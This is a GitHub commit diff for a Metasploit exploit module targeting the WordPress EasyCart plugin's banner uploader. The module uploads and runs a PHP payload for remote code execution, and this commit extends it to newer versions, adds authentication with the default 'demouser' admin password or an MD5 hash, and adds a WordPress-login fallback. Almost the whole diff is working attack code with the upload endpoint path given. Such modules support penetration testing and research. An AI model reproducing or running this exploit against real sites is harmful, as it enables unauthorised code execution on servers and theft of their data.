Skip to content

Commit 8246f4e

Browse files
committed
Add ability to use both WP and EC attack vectors
1 parent e6f6ace commit 8246f4e

File tree

1 file changed

+72
-14
lines changed

1 file changed

+72
-14
lines changed

modules/exploits/unix/webapp/wp_easycart_unrestricted_file_upload.rb

Lines changed: 72 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,15 @@ def initialize(info = {})
2727
user-accessible path. Making a direct request to
2828
the uploaded file will allow the attacker to
2929
execute the script with the privileges of the web
30-
server.},
30+
server.
31+
32+
In versions <= 3.0.8 authentication can be done by
33+
using the WordPress credentials of a user with any
34+
role. In later versions, a valid EasyCart admin
35+
password will be required that is in use by any
36+
admin user. A default installation of EasyCart will
37+
setup a user called "demouser" with a preset password
38+
of "demouser".},
3139
'License' => MSF_LICENSE,
3240
'Author' =>
3341
[
@@ -42,14 +50,16 @@ def initialize(info = {})
4250
'DisclosureDate' => 'Jan 08 2015',
4351
'Platform' => 'php',
4452
'Arch' => ARCH_PHP,
45-
'Targets' => [['wp-easycart < 3.0.5', {}]],
53+
'Targets' => [['wp-easycart < 3.0.16', {}]],
4654
'DefaultTarget' => 0
4755
))
4856

4957
register_options(
5058
[
51-
OptString.new('USERNAME', [true, 'The username to authenticate with']),
52-
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
59+
OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']),
60+
OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']),
61+
OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.15)', 'demouser']),
62+
OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false])
5363
], self.class)
5464
end
5565

@@ -61,30 +71,74 @@ def password
6171
datastore['PASSWORD']
6272
end
6373

74+
def ec_password
75+
datastore['EC_PASSWORD']
76+
end
77+
78+
def ec_password_is_hash
79+
datastore['EC_PASSWORD_IS_HASH']
80+
end
81+
82+
def use_wordpress_authentication
83+
username.to_s != '' && password.to_s != ''
84+
end
85+
86+
def use_ec_authentication
87+
ec_password.to_s != ''
88+
end
89+
90+
def req_id
91+
if ec_password_is_hash
92+
return ec_password
93+
else
94+
return Digest::MD5.hexdigest(ec_password)
95+
end
96+
end
97+
6498
def check
65-
check_plugin_version_from_readme('wp-easycart', '3.0.5')
99+
check_plugin_version_from_readme('wp-easycart', '3.0.16')
66100
end
67101

68-
def generate_mime_message(payload, date_hash, name)
102+
def generate_mime_message(payload, date_hash, name, include_req_id)
69103
data = Rex::MIME::Message.new
70104
data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"')
71105
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
106+
data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id
72107
data
73108
end
74109

75110
def exploit
76-
print_status("#{peer} - Authenticating using #{username}:#{password}...")
77-
cookie = wordpress_login(username, password)
78-
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
79-
print_good("#{peer} - Authenticated with WordPress")
111+
if !use_wordpress_authentication && !use_ec_authentication
112+
fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value')
113+
end
114+
115+
vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication
116+
vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication
117+
118+
if use_wordpress_authentication && use_ec_authentication
119+
print_status("#{peer} - Both EasyCart and WordPress credentials were supplied, attempting WordPress first...")
120+
end
121+
122+
if use_wordpress_authentication
123+
print_status("#{peer} - Authenticating using #{username}:#{password}...")
124+
cookie = wordpress_login(username, password)
125+
126+
if use_ec_authentication
127+
print_warning("#{peer} - Failed to authenticate with WordPress, attempting upload with EC password next...") if cookie.nil?
128+
else
129+
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
130+
end
131+
132+
print_good("#{peer} - Authenticated with WordPress") unless cookie.nil?
133+
end
80134

81135
print_status("#{peer} - Preparing payload...")
82136
payload_name = Rex::Text.rand_text_alpha(10)
83137
date_hash = Digest::MD5.hexdigest(Time.now.to_s)
84138
plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
85139
uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
86140
payload_url = normalize_uri(plugin_url, 'products', 'banners', "#{payload_name}_#{date_hash}.php")
87-
data = generate_mime_message(payload, date_hash, "#{payload_name}.php")
141+
data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication)
88142

89143
print_status("#{peer} - Uploading payload to #{payload_url}")
90144
res = send_request_cgi(
@@ -97,15 +151,19 @@ def exploit
97151

98152
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
99153
vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200
100-
print_good("#{peer} - Uploaded the payload")
101154

102155
print_status("#{peer} - Executing the payload...")
103156
register_files_for_cleanup("#{payload_name}_#{date_hash}.php")
104-
send_request_cgi(
157+
res = send_request_cgi(
105158
{
106159
'uri' => payload_url,
107160
'method' => 'GET'
108161
}, 5)
109-
print_good("#{peer} - Executed payload")
162+
163+
if !res.nil? && res.code == 404
164+
print_error("#{peer} - Failed to upload the payload")
165+
else
166+
print_good("#{peer} - Executed payload")
167+
end
110168
end
111169
end

0 commit comments

Comments
 (0)